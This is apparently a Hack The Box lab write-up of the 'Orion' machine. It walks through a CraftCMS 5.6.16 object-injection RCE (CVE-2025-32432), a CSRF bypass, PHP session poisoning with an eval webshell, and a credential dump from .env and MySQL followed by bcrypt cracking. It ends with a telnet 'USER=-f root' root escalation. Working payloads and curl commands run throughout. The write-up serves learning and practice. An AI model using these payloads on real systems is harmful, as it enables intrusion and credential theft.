HTB Orion — Writeup
Orion is rated "Very Easy" on Hack The Box, but the path to root turned into a genuinely useful debugging exercise — less about the exploit chain itself and more about what happens when your tooling fights you. This is a writeup of my own run at it, including the parts that didn't go according to plan.
Recon
Standard start:
nmap -sCV 10.129.69.96
Enter fullscreen mode Exit fullscreen mode
Two ports: 22 (OpenSSH 8.9p1) and 80 (nginx 1.18.0), redirecting to orion.htb.
echo "10.129.69.96 orion.htb" | sudo tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode
The site was a telecom company page with "Powered by CraftCMS" in the footer. A quick directory fuzz confirmed /admin → /admin/login, and the login page leaked the exact CraftCMS version: 5.6.16.
That version is vulnerable to CVE-2025-32432 — an unauthenticated RCE in Craft's image transform endpoint, caused by Yii's object-configuration system trusting attacker-controlled JSON to decide which PHP class gets instantiated.
Manual CSRF Bypass (the interesting part)
The generate-transform action is CSRF-protected, so before touching the RCE I wanted to prove the bypass by hand rather than just firing Metasploit at it.
Craft/Yii ties CSRF validation to session state, so you need three things from the same session:
- CraftSessionId cookie
- CRAFT_CSRF_TOKEN cookie (Yii's server-side reference)
- the actual csrfTokenValue, embedded in the login page's HTML/JS
curl -s -c cookies.txt http://orion.htb/admin/login -o login.html
grep -o 'csrfTokenValue[^,]*' login.html
cat cookies.txt
Enter fullscreen mode Exit fullscreen mode
With those in hand, I built the exploit payload. Using GuzzleHttp\Psr7\FnStream with _fn_close: phpinfo, its destructor calls phpinfo() when the object is torn down:
{
"assetId": 1,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}
Enter fullscreen mode Exit fullscreen mode
curl -s -b cookies.txt \
-H "X-CSRF-Token: <csrfTokenValue>" \
-H "Content-Type: application/json" \
-X POST "http://orion.htb/index.php?p=actions/assets/generate-transform" \
-d @payload.json -o response.html -w "HTTP %{http_code}\n"
grep -i "PHP Version" response.html
Enter fullscreen mode Exit fullscreen mode
PHP Version 8.2.30 came back. CSRF bypassed, arbitrary function execution confirmed.
The Reverse Shell That Wouldn't Come Home
With the vuln confirmed, I reached for Metasploit's exploit/linux/http/craftcms_preauth_rce_cve_2025_32432 module. First problem: it couldn't retrieve the session/CSRF page at all. Turned out the module doesn't set VHOST, so it was hitting nginx with Host: instead of Host: orion.htb. Setting VHOST orion.htb fixed that immediately.
Second problem was worse: the module got past the CSRF check, injected the stub — and then reported "no session was created," repeatedly. I ran tcpdump on tun0 during a retry and confirmed the target really was sending SYN packets to my listener. iptables counters showed packets being accepted. ss -tlnp confirmed a process was bound and listening on the exact IP:port. Every individual piece checked out — and yet no SYN-ACK ever went back.
I never fully root-caused that. Best guess: the module's built-in handler tears itself down faster than the target's connect-back completes. Rather than keep burning time on it, I pivoted to getting command execution without needing an inbound connection.
Manual RCE via Session Poisoning
Step 1. Poison a PHP session file with a webshell:
curl -g -s -c webshell_cookies.txt \
"http://orion.htb/index.php?p=admin/dashboard&a=<?=eval(\$_GET['cmd']);die()?>" \
-o /dev/null -D -
Enter fullscreen mode Exit fullscreen mode
Note: -g stops curl treating [] in $_GET['cmd'] as glob syntax.
Step 2. Trigger via CSRF-bypass endpoint, instantiating yii\rbac\PhpManager with itemFile pointed at the poisoned session (init() calls require() on that path):
{
"assetId": 1,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "yii\\rbac\\PhpManager",
"__construct()": [{"itemFile": "/var/lib/php/sessions/sess_<id>"}]
}
}
}
Enter fullscreen mode Exit fullscreen mode
curl -g -s -b cookies.txt \
-H "X-CSRF-Token: <token>" -H "Content-Type: application/json" \
-X POST 'http://orion.htb/index.php?p=actions/assets/generate-transform&cmd=system("id");' \
-d @payload2.json -o response.html
Enter fullscreen mode Exit fullscreen mode
Note: cmd must be a PHP statement, not a raw shell command.
Note: curl rejects literal spaces in URLs — use %20 or base64-encode complex commands.
Output: uid=33(www-data) gid=33(www-data). Full RCE, no listener required.
Credential Harvesting
Craft's .env is world-readable to www-data:
# cmd=system("cat%20/var/www/html/craft/.env");
# → CRAFT_DB_USER=root, CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
Enter fullscreen mode Exit fullscreen mode
MySQL bound to 127.0.0.1 only — queried through RCE, base64-encoded to sidestep quoting headaches:
B64=$(base64 -w0 <<< "system('mysql -u root -pSuperSecureCraft123Pass! orion -e \"select username, email, password from users;\" 2>&1');" | sed 's/+/%2B/g')
curl -g -s -b cookies.txt -H "X-CSRF-Token: <token>" -H "Content-Type: application/json" \
-X POST "http://orion.htb/index.php?p=actions/assets/generate-transform&cmd=eval(base64_decode('$B64'));" \
-d @payload2.json -o response.html
Enter fullscreen mode Exit fullscreen mode
Got bcrypt hash for [email protected].
Cracking — Plan A Failed
hashcat -m 3200 ...
# ERROR: no OpenCL device (clinfo showed rusticl, zero devices)
Enter fullscreen mode Exit fullscreen mode
Switched to John:
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# cracked in ~19s
Enter fullscreen mode Exit fullscreen mode
Password reuse → SSH as adam.
Privilege Escalation: CVE-2026-24061
netstat -tulnp # telnet on 127.0.0.1:23
telnet --version # GNU inetutils 2.7
Enter fullscreen mode Exit fullscreen mode
USER env var passed unsanitized to login(1). -f root skips authentication:
USER="-f root" telnet -a 127.0.0.1
Enter fullscreen mode Exit fullscreen mode
Instant root shell.
Takeaways
- CSRF tokens are session-bound, not a magic wall — correctly replaying the cookie/token pairing is enough to bypass them for testing.
- Object-injection RCE via config-driven instantiation (Yii's __class mechanism) is a pattern worth recognizing beyond Craft.
- .env files and PHP session storage are attack surface — session files writable by the web server + require()-able = code execution primitive.
- Tooling failures are data too. Confirming the firewall/socket layer wasn't the problem (tcpdump + iptables + ss) was useful diagnostic work even when I couldn't fully root-cause the issue.
- Internal-only daemons are still root paths once you have any foothold.
Flags
Flags redacted per standard practice for retired-box writeups.
0 Comments
Log in to join the conversation.No comments yet. Be the first to share your thoughts.